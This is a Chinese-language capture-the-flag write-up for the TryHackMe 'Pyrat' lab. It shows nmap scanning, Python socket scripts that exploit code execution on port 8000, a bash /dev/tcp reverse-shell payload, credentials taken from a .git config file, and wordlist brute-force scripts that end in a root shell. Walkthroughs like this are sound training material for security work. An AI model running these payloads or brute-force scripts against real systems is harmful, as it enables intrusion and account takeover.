TryHackMe [Pyrat] WriteUp

User Flag

首先收集信息端口扫描。

nmap -Pn -sT -sC 10.201.24.77 --top-ports 1000

发现开放了 22 和 8000 端口,先尝试用浏览器打开 8000 端口,得到的提示如下:

众所周知,比 HTTP 更加 basic 的应该就是 TCP 了,用 Python 写个脚本试试。

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.201.24.77', 8000))
s.send(b"""hello""")
d = s.recv(1024)
print(d)
s.close()

得到的响应如下:

疑似存在 RCE ,将 hello 替换成 print(1+2) ,发现响应的内容是 3 ,代码成功执行了,接下来就要构造弹 Shell 脚本了。

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.201.24.77', 8000))
s.send(b"""os.system('bash -c "bash -i >& /dev/tcp/10.13.91.125/9997 0>&1"')""")

成功拿到用户 www-data 的 shell 。

先想办法提权,查看 /opt 路径发现一个可以文件夹 dev ,查看文件夹内所有文件:

ls -al /opt/dev

存在隐藏文件夹 .git ,查看里面的 config 文件:

cat /opt/dev/.git/config

成功找到用户 think 的账号信息,尝试登录 SSH ,发现登录成功,拿到 User Flag 。

ssh think@10.201.127.25

Root Flag

接下来就可以用 SCP 把 .git 文件夹下载下来,进一步分析。

git diff

发现存在一个 endpoint ,疑似可以得到 root 权限的 shell ,编写脚本对 8000 端口进行爆破。

import socket

with open('password100.txt', 'r') as f:
	lines = f.readlines()
	for line in lines:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect(('10.201.83.152', 8000))
		s.send(line.strip().encode())
		d = s.recv(1024)
		res = str(d).strip()
		if "b'\\n'" not in res and 'not defined' not in res and 'invalid syntax' not in res and ' not permitted' not in res:
			print("endpoint : ", line)

成功找到 endpoint 为 admin ,但是提示需要 Password ,再次进行爆破。

import socket

with open('password100.txt', 'r') as f:
	lines = f.readlines()
	for line in lines:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect(('10.201.83.152', 8000))
		s.send(b"""admin""")
		d = s.recv(1024)
		s.send(line.strip().encode())
		d = s.recv(1024)
		if 'Password' not in str(d):
			print("password : ", line)
			print("output : ", d)
			break
		s.close()

成功找到密码: abc123 。

使用 telnet 进行连接,输入密码,得到 root shell :

telnet 10.201.83.152 8000

成功拿到 Root Flag 。

评论